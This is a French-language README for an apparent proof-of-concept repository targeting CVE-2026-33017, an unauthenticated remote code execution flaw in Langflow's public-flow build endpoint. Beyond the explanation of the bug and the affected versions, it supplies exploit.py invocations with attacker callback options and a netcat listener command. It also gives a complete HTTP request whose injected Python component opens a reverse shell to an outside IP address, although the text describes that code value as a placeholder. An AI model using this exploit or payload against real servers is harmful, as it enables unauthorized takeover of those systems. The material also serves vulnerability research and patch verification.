
Langflow RCE
★ CVE-2026-33017 Langflow PoC d'exécution de code à distance ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Utilisez les commandes suivantes pour construire et exécuter l'environnement Langflow vulnérable :
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Après avoir démarré l'instance Langflow vulnérable, lancez le PoC avec l'URL cible, l'ID du Public flow et l'adresse de rappel de l'attaquant.
Option A — utilisez votre propre listener :
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Option B — utilisez le listener intégré avec --listen :
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Option | Description |
|---|---|
--url | URL du serveur Langflow cible |
--flow-id | UUID du Public flow partagé |
--lhost | IP de rappel de l'attaquant |
--lport | Port de rappel de l'attaquant |
--listen | Exécute le listener intégré au lieu d'un nc externe |
CVE-2026-33017 est une vulnérabilité d'exécution de code à distance (RCE) dans le processus de build des Public flows de Langflow, une plateforme open-source permettant de construire visuellement des applications LLM et des workflows IA.
En envoyant des données de flow forgées à l'endpointbuild_public_tmpsans authentification, un attaquant peut provoquer l'exécution de code Python arbitraire sur le serveur.
CVE-2026-33017 affecte l'endpoint de build de Public flow suivant dans Langflow, une plateforme open-source permettant de créer visuellement des applications LLM et des workflows IA.
POST /api/v1/build_public_tmp/{flow_id}/flow
Un Public flow dans Langflow est conçu pour être partagé avec d'autres utilisateurs via un lien ou un mécanisme similaire.
Pour prendre en charge cette fonctionnalité, l'endpoint de build prépare le flow à l'exécution sans exiger d'authentification, en lisant les nœuds, les arêtes (edges) et les paramètres du flow, puis en construisant le graphe d'exécution interne nécessaire à son fonctionnement.
Le problème est que les versions vulnérables de build_public_tmp acceptaient non seulement les informations du Public flow stockées sur le serveur, mais aussi le champ data fourni dans le corps de la requête.
Ce champ data pouvait contenir la définition complète du flow, notamment :
Par conséquent, un attaquant pouvait utiliser une requête non authentifiée pour injecter une structure de flow entièrement contrôlée par l'attaquant, au lieu de s'appuyer sur le Public flow légitime stocké sur le serveur.
Un aspect particulièrement dangereux de cette conception est la fonctionnalité Custom Component.
Dans Langflow, un composant représente un bloc fonctionnel individuel responsable de tâches telles que la gestion des entrées, l'invocation de modèles ou la génération de sorties. Un composant personnalisé est un bloc extensible qui permet aux utilisateurs de définir son comportement directement en code Python.
Un attaquant pouvait donc intégrer un composant personnalisé contenant du code Python malveillant dans l'objet data forgé, et le serveur le traitait comme s'il s'agissait d'une partie normale du flow. Par conséquent, le code injecté pouvait être analysé et exécuté pendant le processus de build ou d'exécution, conduisant finalement à une exécution de code à distance.
| Catégorie | Version |
|---|---|
| Vulnérable | Langflow antérieur à 1.9.0 |
| Corrigée | Langflow 1.9.0 et ultérieur |
Le GitHub Security Advisory indique la plage affectée comme
<= 1.8.2, mais le correctif — la suppression du paramètredata— est arrivé dans 1.9.0. Toutes les versions antérieures à 1.9.0 (y compris 1.8.3 / 1.8.4) sont donc affectées, c'est pourquoi l'enregistrement CVE précise< 1.9.0.
L'exploitation réussie de cette vulnérabilité peut permettre à un attaquant de prendre le contrôle du serveur Langflow et d'effectuer des actions ultérieures telles que :
Le PoC suivant démontre CVE-2026-33017 sur Langflow 1.8.1.
L'attaquant identifie d'abord le flow_id d'un Public flow cible.

L'attaquant envoie une requête build_public_tmp qui injecte un composant personnalisé dont le code Python est exécuté sur le serveur pendant le build temporaire. Dans la requête ci-dessous, la valeur de code est laissée en tant qu'espace réservé — insérez vous-même le payload (voir la note sous la requête).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Pendant le processus de build, le code intégré dans le composant personnalisé est exécuté sur le serveur. Lorsque la variante reverse shell (automatisée par exploit.py) est utilisée, une connexion est établie vers le listener de l'attaquant, offrant à ce dernier un shell interactif pour exécuter des commandes arbitraires sur le serveur.

Bien que build_public_tmp ait été conçu pour construire des Public flows, les versions vulnérables acceptaient toujours un champ data directement issu du corps de la requête.